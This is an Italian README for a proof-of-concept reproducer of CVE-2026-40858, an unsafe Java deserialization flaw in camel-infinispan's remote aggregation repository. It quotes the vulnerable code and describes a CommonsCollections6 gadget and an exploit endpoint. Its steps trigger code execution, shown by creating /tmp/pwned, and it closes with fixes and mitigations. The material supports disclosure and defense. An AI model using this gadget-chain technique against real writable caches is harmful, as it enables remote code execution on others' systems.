camel-infinispan Riproduttore di Deserializzazione Non Sicura del Repository di Aggregazione Remota (CVE-2026-40858)

Questo progetto dimostra una vulnerabilità di deserializzazione Java nel componente camel-infinispan di Apache Camel, tracciata come CVE-2026-40858. Il repository di aggregazione remota basato su ProtoStream serializza ogni Exchange aggregato in una cache remota Infinispan e, quando legge un'entrata (su get() / recover()), la deserializza con java.io.ObjectInputStream e nessun ObjectInputFilter. Un attaccante che può scrivere nella cache sottostante può inserire un oggetto serializzato manipolato e ottenere esecuzione remota di codice la prossima volta che il repository legge quella chiave.

Avviso: https://camel.apache.org/security/CVE-2026-40858.html

Riepilogo della Vulnerabilità

Dettagli Tecnici

InfinispanRemoteAggregationRepository memorizza ogni Exchange come DefaultExchangeHolder. Con il marshaller ProtoStream, tale holder viene adattato da DefaultExchangeHolderProtoAdapter, il cui campo ProtoStream #1 è l'holder serializzato con un semplice ObjectOutputStream. Sulla via del ritorno, l'adapter ricostruisce l'holder passando quei byte a DefaultExchangeHolderUtils.deserialize:

// DefaultExchangeHolderUtils.deserialize(byte[]) - affected version
static DefaultExchangeHolder deserialize(byte[] bytes) throws IOException, ClassNotFoundException {
    ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
    ClassLoadingAwareObjectInputStream ois = new ClassLoadingAwareObjectInputStream(bais);
    return (DefaultExchangeHolder) ois.readObject();   // NO ObjectInputFilter
}

ClassLoadingAwareObjectInputStream amplia, piuttosto che restringere, l'insieme delle classi risolvibili, quindi readObject() istanzierà qualsiasi catena gadget presente nel classpath. Poiché i byte provengono direttamente dalla cache remota, chiunque possa scrivere quella chiave della cache controlla il flusso di deserializzazione — e il gadget si attiva durante readObject(), prima che il valore venga mai castato a DefaultExchangeHolder.

La configurazione vittima

Una route (o, come qui, codice applicativo) utilizza il repository di aggregazione remota supportato da un server Infinispan:

InfinispanRemoteConfiguration conf = new InfinispanRemoteConfiguration();
conf.setCacheContainerConfiguration(hotRodClientConfig);   // points at the Infinispan server

InfinispanRemoteAggregationRepository repo =
        new InfinispanRemoteAggregationRepository("camel-aggregation");
repo.setConfiguration(conf);
repo.setCamelContext(camelContext);
repo.start();

// ... during aggregation Camel calls repo.add(...) / repo.get(...) / repo.recover(...)

Qualsiasi get() / recover() su una chiave il cui valore memorizzato è stato manomesso attiva il sink.

Struttura del repository — dove viene eseguito il codice vulnerabile

Il codice Camel vulnerabile viene eseguito nell'applicazione (sull'host); il server Infinispan viene eseguito in Docker come archivio di supporto con cui il repository comunica. Questo rispecchia come il repository viene distribuito nella pratica: i dati non attendibili risiedono nella cache condivisa.

CVE-2026-40858/
├── pom.xml                 # camel-infinispan 4.18.1 + commons-collections 3.2.1 (gadget)
├── docker-compose.yml      # quay.io/infinispan/server:16.1 (the remote cache)
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── InfinispanRepoService.java   # builds + starts InfinispanRemoteAggregationRepository
    │   ├── Gadget.java                  # CommonsCollections6 gadget, fired during readObject()
    │   └── ExploitController.java       # /exploit/attack: plants a gadget-bodied holder, then reads it
    └── resources/
        └── application.properties

Nota sulla scorciatoia del PoC. Un vero attaccante scrive i byte malevoli direttamente nella cache Infinispan condivisa. Per mantenere il riproduttore autocontenuto, /exploit/attack inserisce il valore attraverso lo stesso repository (repo.add(...) con un gadget come corpo dell'Exchange) e poi chiama repo.get(...) per attivare la lettura. Il sink che esegue il gadget è il readObject() di Camel stesso, esattamente come si attiverebbe su qualsiasi voce della cache manomessa da un attaccante.

Prerequisiti

• Java 17+ e Maven 3.8+
• Docker (esegue il server Infinispan)

Passaggi per la Riproduzione

Passo 1: Avviare il server Infinispan

docker compose up -d
# wait until ready:
curl -s -o /dev/null -w "%{http_code}\n" --retry-connrefused --retry 60 --retry-delay 1 \
     http://localhost:11222/rest/v2/cache-managers/default/health/status   # -> 200

Passo 2: Compilare ed eseguire l'applicazione vulnerabile

Il gadget CommonsCollections6 viene assemblato live tramite riflessione in java.util, quindi la JVM deve essere avviata con --add-opens java.base/java.util=ALL-UNNAMED:

mvn clean package -DskipTests
java --add-opens java.base/java.util=ALL-UNNAMED \
     -jar target/cve-2026-40858-infinispan-0.0.1-SNAPSHOT.jar

Passo 3: Attivare la deserializzazione (RCE)

curl -s http://localhost:8080/exploit/attack
# -> repo.get() returned: Exchange[...]
#
#    >>> RCE proof — /tmp/pwned exists: true

/tmp/pwned viene creato dal gadget (touch /tmp/pwned) durante la deserializzazione del valore inserito nella cache.

Pulizia

docker compose down
rm -f /tmp/pwned

Vettori di Attacco

Qualsiasi distribuzione che utilizza InfinispanRemoteAggregationRepository (marshalling ProtoStream) contro una cache che un attaccante può scrivere. L'accesso in scrittura alla cache può provenire da un cluster Infinispan condiviso/multi-tenant, un endpoint HotRod raggiungibile in rete, o qualsiasi altro produttore che inserisce dati nella stessa cache.

Condizioni di Sfruttamento

1. Un repository di aggregazione remoto camel-infinispan che legge da una cache che l'attaccante può scrivere.
2. Una libreria gadget nel classpath (qui commons-collections:3.2.1).

Correzione Raccomandata

Aggiornare a 4.14.7 / 4.18.2 / 4.20.0. La correzione applica un ObjectInputFilter / lista di classi consentite alla deserializzazione dell'holder, corrispondente all'hardening applicato agli altri repository di aggregazione Camel (camel-leveldb, camel-cassandraql, camel-jms) e a camel-mina / camel-netty.

Mitigazione

Fino all'aggiornamento:

1. Trattare la cache Infinispan come un confine di fiducia — limitare chi può scrivere la cache di aggregazione.
2. Rimuovere le librerie gadget dal classpath (aggiornare/rimuovere commons-collections 3.x e simili).
3. Mantenere l'endpoint HotRod Infinispan su una rete affidabile con autenticazione abilitata.

Dichiarazione di non responsabilità

Questo riproduttore è fornito esclusivamente per scopi di ricerca sulla sicurezza e test autorizzati, per una vulnerabilità divulgata pubblicamente e corretta. Non utilizzarlo contro sistemi senza esplicita autorizzazione.